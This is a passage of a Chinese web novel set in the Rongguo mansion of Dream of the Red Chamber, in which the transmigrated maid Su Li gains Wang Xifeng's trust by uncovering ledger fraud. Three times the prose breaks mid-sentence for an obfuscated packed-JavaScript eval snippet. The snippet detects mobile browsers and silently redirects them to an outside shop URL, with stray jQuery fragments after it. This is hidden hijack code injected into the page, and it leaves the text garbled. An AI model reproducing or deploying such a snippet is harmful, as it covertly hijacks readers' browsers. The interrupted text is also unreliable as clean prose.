她知道，从这一刻起，她真正踏入了荣国府的核心圈，成为了王熙凤名副其实的“自己人”。虽然前路必然伴随着更多的明枪暗箭，但她也获得了更大的舞台和权限。 “起来吧。”王熙凤语气缓和了些，“今日你也累了，先下去歇着。明日再来当值。” “是。”苏璃再次行礼，这才在平儿含笑的示意下，退出了房间。 走出那间温暖却压抑的正房，回到自己暂住的小屋，苏璃关上门，背靠着门板，才允许自己长长地舒了一口气。手心因一直紧握，已是一片潮湿。 十两银子沉甸甸地揣在怀里，素银簪子和新衣料的赏赐随后就会送到。身份、地位、金钱，她在短短一日内，获得了原主柳絮可能一辈子都无法企及的东西。 然而，她心中并无多少喜悦，只有一种如履薄冰的清醒。 “一鸣惊人……”她低声咀嚼着这个章节名。今日她确实一鸣惊人了，惊动了王熙凤，也必然惊动了这府里许多藏在暗处的人。 周瑞家的会甘心受罚吗？账房那些被拂了面子的先生会如何想？还有那个即将被捆来的工头张石头，以及可能被牵连的其他管事…… 她今日露出的锋芒，是晋身之阶，也成了众矢之的。 但苏璃的眼神很快重新变得坚定。既然选择了这条路，就没有回头的余地。唯有继续向前，变得更加强大，更加不可或缺，才能在这漩涡中站稳脚跟，直至……掌控自己的命运。 她走到窗边，推开一条缝隙，寒冷的夜风涌入，让她精神一振。 荣国府的夜空，星辰寥落，却有一弯新月，清冷地挂在天际，洒下淡淡辉光。 属于苏璃的征途，从这“一鸣惊人”之日，才真正开始。 8. 暗流涌动 赏赐是傍晚时分由平儿亲自送来的。 十两雪花银用红绸包着，沉甸甸地压手。两支素银簪子虽不奢华，但做工精巧，胜过杂役院里姑娘们头上所有的物件。两匹尺头，一匹是雨过天青的软罗，一匹是秋香色的暗纹锦，光线下流转着细腻的光泽，与苏璃身上半旧的青缎背心形成了鲜明对比。 碧痕的眼睛瞬间就直了，围着那匹软罗摸了又摸，嘴里啧啧有声：“我的老天爷，十两银子！还有这料子……柳絮，你可真是发达了！”她语气里的羡慕几乎要溢出来，还夹杂着一丝难以言喻的酸涩。 同屋的其他小丫鬟也围了过来，七嘴八舌，眼神复杂。有纯粹羡慕的，有好奇打听的，也有那等眼神闪烁，不知在想些什么的。 苏璃脸上适时地露出几分惶恐和不安，将银子紧紧攥在手里，对平儿道：“平儿姐姐，这赏赐太重了，我……我实在心里难安。” 平儿温和地拍拍她的手：“奶奶赏你的，你就安心收着。这是你应得的。”她目光扫过屋内众人，声音不高不低，却带着分量，“柳絮妹妹往后就在奶奶身边当差了，你们平日多帮衬着些。” 这话既是提点，也是警告。众人连忙应声称是。 平儿又对苏璃叮嘱了几句明日当值的时辰和注意事项，便离开了。 平儿一走，屋内的气氛更加微妙。碧痕凑到苏璃身边，挽着她的胳膊，亲热得有些不自然：“好妹妹，你快跟我说说，今日到底是怎么个情形？你怎么就看得出那账目有问题的？周瑞家的真的贪了银子？” 苏璃心中警铃微作。她知道，此刻不知多少双耳朵竖着，等着从她嘴里抠出细节，稍有不慎，传出去的话就可能变了味道。 她垂下眼睫，做出心有余悸的样子，轻轻挣脱碧痕的手，低声道：“碧痕姐姐快别问了，我现在想起来还后怕呢。不过是奶奶让我看账，我恰好看到几处数目对不上，就照实回了。具体怎么回事，奶奶自有明断，我们做奴婢的，哪里敢胡乱揣测。” 她将功劳全推给王熙凤的“明察秋毫”和自己的“侥幸”，对关键细节一概模糊处理，语气里满是谨小慎微。 碧痕见她口风紧，撇撇嘴，有些无趣，但目光落到那银子和尺头上，又热络起来：“也是，主子们的事，咱们少打听。不过妹妹你可真是好运道，得了奶奶这般青眼。往后可别忘了提携姐姐我啊！” 苏璃勉强笑了笑，将银子小心收进自己的小包袱最底层，只把簪子和尺头放在外面：“姐姐说哪里话，咱们都是一处当差的，自然要互相照应。” 这一夜，苏璃睡得并不安稳。同屋丫鬟们翻身、梦呓的声音，窗外巡夜婆子走过的脚步声，都清晰地传入耳中。她知道，从她接过那十两赏银开始，她就不再是那个可以躲在角落默默观察的“柳絮”了。她成了靶子。 接下来的几日，风平浪静之下，暗流涌动。 苏璃正式成为王熙凤的贴身丫鬟，主要负责跟随左右，递送东西，传话跑腿，以及在王熙凤看账时在一旁伺候笔墨，偶尔回答一些简单的数目问题。王熙凤似乎并未立刻交办什么重要的账目给她，更像是在观察，在打磨。 而府里的风向，却悄然转变。 周瑞家的被革了三个月月钱，虽未撤职，但明显失了体面，据说在屋里称病好几日没露面。工头张石头被捆来打了个半死，招认了虚报工日、与采买合伙抬高石料价格的事，被撵出府去，永不录用。刘记石行的掌柜亲自登门赔罪，退还了部分款项。 王熙凤借此机会，雷厉风行地敲打了一批管事，府中风气为之一肃。明面上，无人敢再小觑二奶奶院里新来的这个叫“柳絮”的丫头，见面都客气地唤一声“柳絮姑娘”。 但客气背后，是疏离，是审视，甚至是隐隐的敌意。 苏璃能清晰地感觉到那种无形的壁垒。 去大厨房传话，原本笑脸相迎的管事媳妇，笑容淡了几分，言语间带着小心翼翼的试探。路过花园，偶遇其他房的大丫鬟，对方或许会点头致意，但眼神交汇的瞬间，那目光里的衡量与打量，让她如芒在背。 甚至连琏二爷贾琏，某次在院里撞见苏璃，都特意停下脚步，那双惯常带着几分浪荡气的眼睛在她身上转了两圈，似笑非笑地对王熙凤说：“哟，这就是你新提上来的那个会算账的丫头？模样倒也周正，听说本事不小啊。” 王熙凤当时就啐了他一口：“少在这里胡唚！好好当你的差去！”但苏璃还是捕捉到了贾琏眼中那一闪而过的、对于“不安分因素”的警惕。 这日午后，王熙凤去贾母处伺候，吩咐不必跟着。苏璃得了片刻空闲，想起前几日平儿交代她将一批旧年礼单整理归档，便往库房方向去。 刚穿过一处僻静的穿堂，就听见假山后传来压低的交谈声。 “……不过是个走了狗屎运的丫头片子，真当自己是什么人物了！”一个有些耳熟的声音忿忿道，苏璃辨出，像是大厨房里一个姓赵的媳妇。 “嘘！小声点！你也不怕隔墙有耳！”另一个声音劝阻道，是林之孝家的声音，“她如今正得二奶奶的意，连周瑞家的都栽了跟头，你招惹她做什么？” “我招惹她？林姐姐，你是没看见！前儿我去回话，她那个样子，眼睛都快长到头顶上了！问句话爱答不理的，不就是会拨弄几下算盘珠子吗？谁知道那账目是怎么回事，说不定是瞎猫碰上死耗子，或者……”赵媳妇的声音压得更低，带着恶意的揣测，“……背后有什么见不得人的勾当，才让二奶奶这般抬举！” “快住口！”林之孝家的声音严厉起来，“这种没影子的话也是能乱说的？仔细你的舌头！二奶奶精明一世，能让她糊弄了？做好你自己的本分是正经！” “我就是气不过！咱们在府里熬了多少年，还不如一个毛没长齐的黄毛丫头……” 声音渐渐远去，显然是两人边说边走了。 苏璃从廊柱后缓步走出，面色平静无波，唯有袖中的手指微微蜷紧。果然来了。明枪易躲，暗箭难防。这种基于嫉妒和不确定性的恶意揣测，往往比直接的冲突更令人心烦，也更具破坏力。 她深吸一口气，压下心头泛起的冷意。看来，光是谨慎低调还不够，她需要更快地站稳脚跟，需要让王熙凤更加离不开她，也需要……适当地，展现一点并非软弱的“存在感”。 机会在她整理旧礼单时悄然出现。 这些是往年各府节礼往来的记录，杂乱无章，堆在库房角落积灰。平儿让她整理，本意是让她熟悉旧例，磨磨性子。 苏璃却做得极其认真。她不仅按年份、府邸将礼单归类，还特意留意了礼品的种类、价值，以及贾府回礼的规格。她发现，有些关系亲近的府邸，年节往来礼品价值相差无几；而有些关系微妙或地位稍逊的府邸，贾府的回礼往往远超对方送来的价值。 她心中默默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908581|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计算，发现仅这一项，每年就有不少“亏空”。这并非贪墨，而是维系人际关系和家族体面的必要开销，属于“沉默的成本”。但若记录不清，将来对账或人情往来出了岔子，便是麻烦。 她灵机一动，不仅将礼单整理得条理清晰，还特意用废纸订了个小册子，做了一份简明的“节礼往来摘要”，列明主要府邸、近年礼单价值区间、回礼惯例等。字迹工整，条目清楚。 当她将整理好的礼单和那份额外的小册子一并交给平儿时，平儿翻看之后，眼中再次露出了惊讶之色。 “这……这是你想的？”平儿指着那小册子。 苏璃低头：“奴婢想着，这样整理出来，奶奶或是姐姐日后查看起来更方便些。也不知合不合规矩，若是不妥，奴婢立刻毁了它。” “不妥？再妥当不过了！”平儿赞叹道，“难为你想得如此周到！奶奶正为这些琐碎人情往来头疼呢，你这册子，可是帮了大忙！” 当晚，王熙凤就看到了那份“节礼往来摘要”。她没说什么，只是深深看了苏璃一眼，吩咐平儿：“往后这些旧例，都让她帮着理一理。” 又过了两日，王熙凤查看完外面铺子送来的收益账本，眉头紧锁，显然心情不佳。那铺子似乎收益持续下滑。 她揉了揉眉心，像是随口问道：“柳絮，若是一个铺子，地段不差，货品也还行，往年收益尚可，近来却连连下跌，你觉得可能是何缘故？” 屋内伺候的丰儿、碧痕等都垂着头，不敢吱声。这等外面爷们经营的铺子，她们哪里懂得。 苏璃心中一动，知道这并非随口一问。她斟酌着词语，谨慎回道：“回奶奶，奴婢愚见。铺子收益下跌，无非‘开源’、‘节流’两方面。开源不利，或是货品不如从前精巧，或是伙计怠慢得罪了主顾，或是同行竞争激烈。节流不善，或是采买成本增高，或是铺面租金上涨，或是……掌柜、伙计中饱私囊，虚报损耗。” 她顿了顿，见王熙凤听着，便继续道：“若要细查，或可暗中派人扮作顾客，去看看别家同类铺子的货品、价钱、伙计待客如何。再悄悄核对铺子近期的采买单据和损耗记录，与往年同期对比。若采买价无故增高，或损耗异常变大，则内里恐怕……” 她没有把话说完，但意思已经明了。 王熙凤盯着她，手指无意识地敲着桌面，半晌，忽然对平儿道：“去，把旺儿媳妇叫来。” 旺儿是贾琏的心腹小厮，外面许多事都由他夫妇二人经手。 苏璃垂下眼，心知肚明。王熙凤这是听进去了，而且要有所动作了。而自己，在展示了查账能力后，又一次在“经营”方面，给出了关键的建议。 她在王熙凤心中的分量，正在一点点加重。而那些隐藏在平静水面下的暗流，似乎也因她这枚投入水中的石子，搅动得更加汹涌了。 夜色渐深。 苏璃伺候完王熙凤歇下，回到自己小屋。碧痕已经睡下，发出均匀的呼吸声。 她走到窗边，看着窗外沉沉的夜色。荣国府如同一头蛰伏的巨兽，在黑暗中沉默着，无数的心计与欲望在它的体内流淌。 她知道，自己今日关于铺子的一番话，或许会触动另一批人的利益。旺儿媳妇……那可不是周瑞家的那般容易拿捏的角色。 山雨欲来风满楼。 苏璃轻轻关上了窗户，将寒冷的夜风和未知的暗涌，一同隔绝在外。 9. 小试牛刀 旺儿媳妇来得比预想的要快。 不过一盏茶的功夫，她就顶着夜寒赶到了王熙凤院外。显然，这位府里有头有脸的管事媳妇，消息灵通得很，早已得了信儿。 苏璃本已退回小屋，却被平儿又叫了出来，吩咐在茶房里候着，以备奶奶随时问话。这用意很明显，王熙凤是要将她放在眼皮子底下，既是备用，也是观察。 隔着帘子，正房里的声音隐约可闻。 旺儿媳妇的声音带着惯有的爽利和恰到好处的委屈：“……给二奶奶请安。这大晚上的，奶奶唤奴婢来，可是有什么要紧吩咐？奴婢听着信儿就赶紧来了，一刻没敢耽搁。” 王熙凤的声音听不出喜怒，懒洋洋的，带着一丝疲惫：“也没什么大事。就是今儿看了南边那间绸缎庄的账本，这半年进的少，出的也不多，收益却跌得厉害。我记得往年这时候，多少还能见些利钱，如今倒好，不往里贴补就算阿弥陀佛了。你当家的常在外面跑，可曾听见过什么风声？或是那掌柜的，近来有什么说道？” “哎哟，我的奶奶！”旺儿媳妇的声音立刻拔高了些，带着喊冤的腔调，“您可是问着了！当家的前儿还跟奴婢念叨呢，说如今这生意是越发难做了！南边新开了两家大的绸缎庄，货色新，价钱还压得低，生生抢走了不少老主顾。咱们庄子上那个李掌柜，是个老实人，嘴又笨，哪里争得过那些油滑的？当家的还说，眼看年关，是不是请奶奶的示下，多少再支点银子周转，或是进些时新花样撑撑场面，不然这铺子，怕是……” 她絮絮叨叨，将缘由全推给了市场竞争和掌柜无能，顺带还想再要银子。 苏璃在茶房里，默默斟了一杯热茶握在手里。旺儿媳妇这番说辞，在她听来漏洞百出。市场竞争固然存在，但一家经营多年的老店，若货品、服务没有大问题，收益不应断崖式下跌。而且，开口就要银子周转，更像是企图用新的投入来掩盖旧的问题。 帘子内，王熙凤沉默了片刻，忽然轻笑一声，那笑声里带着点冷意：“哦？竞争激烈？李掌柜老实？我怎的听说，他上个月才给他儿子在城南置办了个两进的小院？这‘老实’掌柜，家底倒是厚实。” 旺儿媳妇的声音戛然而止，像是被掐住了脖子。 外面站着的苏璃，心中也是一凛。王熙凤果然并非全然不知情，她手里定然还握着别的消息来源。今晚这一出，问话是假，敲山震虎才是真。 “奶、奶奶……”旺儿媳妇的声音明显慌了，“这、这奴婢可不知情……许是、许是他家里原本有些积蓄……” “积蓄？”王熙凤慢条斯理地拨弄着茶碗盖，发出清脆的碰撞声，“有没有积蓄，查查他这些年的工钱和分红就知道了。旺儿家的，” 她语气陡然一转，变得锐利起来：“你当家的在外面走动，耳目灵通。你回去告诉他，让他‘悄悄’地去打听打听，咱们绸缎庄近半年来，都是从哪家上的货，价钱几何。再‘悄悄’地去看看，李掌柜家那新宅子，是个什么光景。记住，是‘悄悄’的，别弄得满城风雨，丢了府里的脸面。” 一连两个“悄悄”，语气极重。 旺儿媳妇哪里还敢多言，连声应“是”，声音都带着颤。 “去吧。”王熙凤淡淡道。 旺儿媳妇如蒙大赦，几乎是跌跌撞撞地退了出去。 苏璃站在茶房里，能听到自己略微急促的心跳。王熙凤这番连消带打，既警告了可能与之有牵连的旺儿夫妇，又将调查的差事派给了他们，逼他们表态站队，手段可谓老辣。 片刻后，平儿掀帘进来，对苏璃低声道：“奶奶叫你。” 苏璃定了定神，走进正房。 王熙凤依旧靠在炕上，脸色在灯下显得有些明暗不定。她看着苏璃，直接问道：“若是让你去查这铺子的账，你待如何入手？” 苏璃知道，这才是真正的“小试牛刀”。她沉吟片刻，谨慎答道：“回奶奶，若奴婢去查，明面上，会核对近半年与往年同期的进货单价、数量，以及销售记录，看是否有异常波动。暗地里，会如奶奶方才所示，查其进货渠道是否有变，货品是否以次充好，或是虚报损耗。此外，还可留意铺中伙计，是否有异常富足或与掌柜关系过于密切者，或能寻到突破口。” 她顿了顿，补充道：“只是……奴婢人微言轻，又是生面孔，骤然去查，只怕打草惊蛇。” 王熙凤听完，不置可否，只挥了挥手：“知道了，下去吧。” 苏璃行礼退下。她知道，自己的回答中规中矩，但至少没有出错。种子已经播下，就看王熙凤何时，以及如何用它了。 接下来的几天，府里表面依旧平静，但关于绸缎庄和旺儿家的风声，却不知怎的，悄悄在底层仆役中流传开来。版本各异，有的说李掌柜贪墨被抓了现行，有的说旺儿家也要倒霉，更有甚者，将苏璃那晚被叫去问话的事情也关联起来，传成了是她“火眼金睛”又看出了大问题。 这些风言风语，苏璃有所耳闻，却只做不知。她依旧每日兢兢业业地当差，整理旧档，伺候笔墨，愈发沉默寡言。 这日，王熙凤忽然将一本账册并一小叠单据扔到苏璃面前，语气平淡：“这是绸缎庄去年同期的进货账和部分单据，你拿去，跟我刚才看的那本今年的对比一下，看看可能找出什么来。不必声张。” 苏璃心中一震，知道机会来了。她恭顺应下，捧着账本和单据，回到平儿安排给她临时使用的一张小书案前。 这是她第一次正式接触贾府外部经营的账目。她深吸一口气，摒弃杂念，全身心投入进去。 对照的工作量不小。她先快速浏览了两本账册的结构和记录习惯，然后重点核对主要绸缎品种的进货价。 很快，她就发现了问题。几种常见的锦、缎，今年的进货单价，比起去年同期，普遍上浮了半成到一成。而根据她之前整理礼单时了解到的市价行情，这类绸缎近一年的价格颇为平稳，并无明显上涨。 她立刻翻看那些进货单据。单据是商铺惯用的格式，盖着供货商“兴隆绸缎行”的印鉴，看似没有问题。但苏璃注意到，这些单据的纸张，与去年留存的、同样来自“兴隆绸缎行”的单据相比，质地似乎略粗糙一些，印鉴的边框线条也稍有模糊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908582|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一个大胆的猜测在她心中形成。 她没有立刻下结论，而是取来空白的纸张和笔墨，模仿着单据上的笔迹和格式，尝试临摹那枚“兴隆绸缎行”的印鉴。她前世为了分析财报，曾粗略研究过印章鉴定，知道仿刻的印章在细节上很难做到完全一致。 反复比对和描摹后，她基本可以确定，今年的这些进货单据，上面的印鉴是仿刻的！ 那么，真实的进货渠道和价格，恐怕另有乾坤。这虚高的进价差价，落入了谁的口袋，不言而喻。 她将发现的问题、单价的异常波动、以及印鉴的疑点，清晰条理地记录在纸上，附上她临摹对比的图样，然后呈给了王熙凤。 王熙凤看着那份条理分明的记录，目光在印鉴对比图样上停留了许久，脸上看不出什么表情，只淡淡说了一句：“倒是心细。” 但苏璃看见，她捏着那张纸的手指，微微收紧了些。 又过了两日，一个下午，王熙凤忽然吩咐苏璃：“你去一趟二门上传话，让小厮备车，我要去一趟绸缎庄。” 苏璃愣了一下，连忙应下。她隐约觉得，王熙凤这是要动手了。 果然，王熙凤带着平儿和丰儿，以及两个粗使婆子，径直出了门。苏璃被留在了院里。 直到天色擦黑，王熙凤才回来，脸色如常，甚至带着一丝若有若无的倦怠笑意。 但府里的消息总是传得飞快。没过多久，苏璃就从丫鬟们压低的议论声中拼凑出了大概：二奶奶突然去了绸缎庄，当场查账盘库，不仅发现了账目不清、货品以次充好，竟还从李掌柜的柜子里搜出了几份与不同商行往来的真实进货单据，价格远比账上记录的要低。人赃并获，李掌柜面如土色，当场就被捆了送官。连带铺子里两个和他勾结的伙计也一并撵了。 雷霆手段，干净利落。 晚上，平儿悄悄告诉苏璃：“奶奶说了，这次多亏你心细，看出了那印鉴的问题，不然还真不好抓他个现行。” 苏璃谦逊了几句，心中却明白，自己这“小试牛刀”，算是成功了。她在王熙凤心中“有用”的印象，进一步加深。 然而，没等她这口气完全松下来，平儿又压低声音补充了一句，带着一丝忧色：“只是……旺儿家的今天下午，在老太太院里，哭哭啼啼了半晌，说是自己当家的办事不力，没能及早察觉李掌柜的勾当，求老太太和二奶奶恕罪呢。” 苏璃的心微微一沉。 旺儿家的这是以退为进，跑到贾母面前演了一出“请罪”的戏码。贾母念旧，又顾及体面，多半会安抚几句，不会深究。如此一来，王熙凤即便心知旺儿家可能不清白，短期内也不好再动他们了。 打掉了李掌柜这条明线上的鱼，却惊动了水下更狡猾的大鱼。 苏璃回到小屋，看着窗外漆黑的夜色。初战告捷的喜悦渐渐冷却，取而代之的是一种更深沉的思量。 这贾府里的水，果然深得很。她这只刚刚伸出爪子的小兽，试探性地挠了一下，却似乎惊动了更深处盘踞的东西。 接下来的，恐怕就不止是账本上的较量了。 10. 站稳脚跟 绸缎庄的风波，如同投入古井的石子，激起圈圈涟漪后，表面很快恢复了平静。 李掌柜被送官法办，在贾府下人间成了杀鸡儆猴的谈资，热度持续了七八日，也就渐渐被新的闲话取代。 王熙凤借此机会，将自己陪房的一个得力伙计安插进了绸缎庄，算是暂时掌控了局面。旺儿家的自那日在贾母面前“请罪”后，着实低调了一阵子，见了王熙凤更是加倍恭敬，仿佛真只是个失察的。贾母果然如苏璃所料，并未深究，只说了句“下面的人不省心，你们多操些心”便揭过了。 府里似乎又回到了以往的秩序，但苏璃能感觉到，一些微妙的东西已经改变了。 最直接的变化来自王熙凤。经过绸缎庄一事，她似乎真正将苏璃视作了可以倚重的“自己人”。虽仍让她做着贴身丫鬟的活计，但涉及银钱账目、乃至一些外面铺子送来的简报，开始越来越多地让她经手，甚至偶尔会询问她的看法。 “柳絮，你看看这个，”这日，王熙凤将一封书信递给她，是金陵老宅那边的管家写来的，禀报田庄收成和年底送京的例礼清单，“瞧瞧这数目，可还妥当？” 苏璃接过，快速浏览。信上列了各色米粮、土产、野味的数量，价值不菲。她心中默算，结合之前看过的老账，觉得并无太大出入，便谨慎回道：“回奶奶，单看数目，与往年相差不大。只是……如今京城米价略有浮动，若将这些实物折成银钱，或许比往年略高些，但也算在情理之中。” 王熙凤点点头，没说什么，但眼神里是认可的。这种信任，并非一蹴而就，而是在一次次“小试牛刀”中累积起来的。苏璃用她的专业、谨慎和从未出错的细致，慢慢在王熙凤身边赢得了一席之地。 她在王熙凤院里的地位也随之水涨船高。月钱按一等丫鬟发放，吃穿用度也与其他大丫鬟无异。平儿待她愈发亲近，时常提点。连咋咋呼呼的碧痕，如今在她面前也收敛了许多，偶尔带点巴结地叫她“柳絮姐姐”。 下人们都是最会看眼色的。先前那些若有若无的排挤和打探，渐渐变成了表面的客气，甚至带着几分敬畏。背后议论依旧少不了，但至少没人敢再当面给她脸色看。苏璃清楚，这“站稳脚跟”，靠的不是运气，而是她实实在在展现出的、无法被轻易替代的价值。 这日，府中传来消息，说是林姑老爷家的姑娘，不日便要进京了。老太太发了话，要收拾出碧纱橱来，好生接待。 消息像一阵风，吹皱了贾府后宅的一池春水。下人们议论的焦点，瞬间从绸缎庄、新得势的丫鬟，转移到了这位即将到来的、身份特殊的表小姐身上。 “听说这位林姑娘身子骨弱，是从会吃饭就开始吃药的呢！” “可不是，自幼没了母亲，如今父亲又在外任职，这才送来咱们府上教养。” “老太太心疼得什么似的，再三吩咐要仔细准备，可不能怠慢了。” …… 苏璃听着众人的议论，心中波澜微起。林黛玉，终于要登场了。这意味着，红楼的故事正轨，正缓缓开启。而她，这个意外闯入的变量，已经先一步，在这庞大的家族机器中，找到了自己的位置。 王熙凤作为管家奶奶，接待林黛玉的一应事宜自然落在她肩上。收拾房屋、准备用具、安排伺候的人手……忙得团团转。苏璃也跟着忙前忙后，负责核对采买各项用品的账目，确保既不逾越规矩，又不失贾府体面。 这差事琐碎，却至关重要。苏璃做得一丝不苟，每一笔支出都记录得清清楚楚，价格也核对比市价公允，让想从中揩油的人无从下手。王熙凤看在眼里，愈发满意。 这日午后，苏璃正对着单子清点新采购来的文具玩器，就听见外面小丫鬟通报：“二奶奶，东府珍大奶奶来了。” 话音未落，只见一个穿着桃红撒花袄，葱黄绫子棉裙的年轻媳妇笑着走了进来，身量苗条，体格风骚，粉面含春威不露，丹唇未启笑先闻。正是宁国府的当家奶奶，贾珍之妻尤氏。 “哟，凤丫头，你这可是大忙人啊！”尤氏笑着上前，自顾自地在炕沿坐下，“我来了两趟，你都不得空。” 王熙凤见她来，也露出笑容，吩咐平儿倒茶：“快别提了，还不是为了迎接林姑娘的事？老太太千叮万嘱，我敢不尽心？” 两人说笑了一阵，尤氏目光一转，落在了安静站在一旁核对单子的苏璃身上，打量了几眼，笑道：“这就是你跟前新来的那个丫头？叫柳絮是吧？听说算盘打得极好，连外面铺子的事都能帮衬上几句？可真真是个人才模样。” 苏璃忙放下手中的东西，上前行礼：“给珍大奶奶请安。” 王熙凤笑了笑，语气带着几分不易察觉的炫耀：“什么人才，不过是个实心眼的丫头，还算细致，帮我看看些琐碎账目罢了。” 尤氏拉着苏璃的手，又细细看了看，对王熙凤道：“好个齐整丫头，又稳重。凤丫头，你如今是越发会调理人了。我瞧着都喜欢，不如你割爱，让给我使唤几天？” 苏璃心中微微一紧。 王熙凤闻言，脸上的笑容淡了些，端起茶杯抿了一口，慢悠悠地道：“大嫂可真会开玩笑。我这才刚使顺手，你就来撬墙角？这可不成。这丫头笨笨的，也就对几个数字上心，到了你那儿，怕是连茶都端不好，没得惹你生气。” 这话听着是推拒和自谦，实则滴水不漏，明确表示了不放人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908583|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤氏碰了个软钉子，也不恼，依旧笑着：“瞧你护得跟什么似的！罢了罢了，知道你如今离不了她。”她又闲话几句，便起身告辞了。 尤氏走后，王熙凤看着苏璃，淡淡道：“宁国府那边，账目比咱们这边还乱三分。珍大嫂子看着和气，心思却不简单。你如今盯着咱们府里的账，难免招人眼。往后那边的人事，少掺和。” “是，奶奶，奴婢明白。”苏璃恭顺应下。王熙凤这番话，既是提醒，也是警告，更是将她牢牢划在了自己的势力范围内。经过尤氏这一遭“索要”，她这“站稳脚跟”，算是得到了主子层面某种意义上的确认。 林黛玉进府那日，贾府热闹非凡。苏璃作为王熙凤的贴身丫鬟，也跟着在贾母院外伺候，远远瞧见了那位乘着青绸小车而来的袅娜身影。 她被人搀下马车，身子看起来十分单薄娇弱。眉毛像一抹轻烟，微微蹙起；眼中总像含着泪水，水汪汪的。脸上带着淡淡的愁容，整个人透着一股病弱的美态。眼角好似挂着泪珠，呼吸微弱。安静的时候，像一株娇美的花映在水中；走起路来，则像柔嫩的柳条在风中摇曳。 果真与书中描写一般无二。 贾母搂着自己的心肝肉儿地哭了一场，众人一番劝解才罢。王熙凤拉着黛玉的手，上下细细打量，说着“天下真有这样标致的人物，我今儿才算见了”①等语，热闹非凡。 苏璃站在人群外围，看着这幕经典的“初入贾府画面”，心中有种奇异的疏离感。她不再是旁观者，而是这宏大叙事中的一员，一个已经初步站稳了脚跟的参与者。 晚间，伺候完王熙凤歇下，苏璃回到小屋。碧痕还在兴奋地议论着今日见到的林姑娘如何如何，又说起了宝二爷见了林姑娘，直说“这个妹妹我曾见过的”②的趣事。 苏璃默默听着，没有插话。她走到窗边，看着外面廊下悬挂的灯笼，在夜色中散发出朦胧的光晕。 林黛玉来了，贾宝玉、薛宝钗……那些耳熟能详的人物将陆续登场，原著的故事会沿着它既定的轨迹缓缓展开。而她，苏璃，这个本不该存在的“柳絮”，已经凭借自己的能力和算计，在风波诡谲的贾府内宅，扎下了一颗虽不深、却足够坚韧的根。 前路依旧漫长且布满荆棘，来自旺儿家的、乃至宁国府那边的隐忧并未消除，府内庞大的财务窟窿也只是窥见一隅。但至少，她不再是那个在杂役院里挨饿受冻、朝不保夕的小丫鬟了。 她有了身份，有了倚仗，也有了……继续向上攀爬的资本和野心。 夜风吹动灯笼，光影摇曳，映照着她沉静而坚定的侧脸。 这深宅大院的故事，才刚刚开始。而她，注定不会只做一个无声的看客。 11. 接管厨房项目 林黛玉入府带来的新鲜劲儿，如同投入湖面的石子，涟漪荡漾了几日，便渐渐平息下去。 碧纱橱里住进了这位娇弱标致的表小姐，宝玉日日绕膝，姐妹们时常探望，成了府中一道新的景致。但于大多数下人而言，日子照旧，当差、吃饭、嚼舌根，并无不同。 苏璃的生活也似乎回到了之前的轨道，伺候笔墨，整理账目，偶尔为王熙凤核对些外面送来的简报。只是她敏锐地察觉到，王熙凤眉宇间那抹挥之不去的疲惫与烦躁，近日又深重了几分。 这日清晨，苏璃端着刚沏好的枫露茶进去，正听见王熙凤对着平儿抱怨：“……这才消停几天？大厨房那边又闹将起来！说是采买上短了斤两，油盐酱醋都对不上数，几个管事媳妇互相推诿，吵吵嚷嚷，不成个体统！真真是按下葫芦浮起瓢，没一日清净！” 平儿轻声劝着：“奶奶别动气，气坏了身子不值当。大厨房人多手杂，历来如此，慢慢梳理便是。” “梳理？怎么梳理？”王熙凤没好气地道，“那起子人，一个个滑不溜手，背后关系盘根错节，重了不是，轻了也不是！账目更是一团乱麻，连个清楚数目都拿不出来！”她越说越气，将手中的账本往炕几上一摔。 苏璃垂眸，将茶轻轻放在王熙凤手边，心念微动。大厨房……那可是比之前绸缎庄油水更厚、关系更复杂的地方。贾府上下几百口人，一日三餐，采买消耗，其中的猫腻，只怕比那渠塘工程只多不少。 王熙凤烦躁地揉了揉额角，目光无意间扫过安静侍立的苏璃，忽然顿住了。她盯着苏璃看了片刻，眼神闪烁，似乎在权衡着什么。 屋内静默了片刻，只闻炭火轻微的噼啪声。 “柳絮。”王熙凤忽然开口，声音带着一丝决断后的平静。 “奴婢在。”苏璃上前一步。 “大厨房的账，历来糊涂。”王熙凤看着她，语气不容置疑，“从今日起，你去把厨房的账目接管起来。一应采买、入库、出库，每日用了多少，剩了多少，都给我登记造册，弄得清清楚楚。我倒要看看，到底是哪里在漏银子！” 饶是苏璃早有心理准备，心头也是猛地一跳。接管厨房账目！这可不是之前核对旧账、查看外部铺子简报那么简单。这是直接切入贾府内部日常运转的核心环节，触及的利益网络更为庞大和直接。 她立刻垂下头，声音带着恰到好处的惶恐：“奶奶信任，奴婢感激不尽。只是……厨房事务繁杂，奴婢年轻识浅，只怕……力有不逮，辜负了奶奶的期望。” 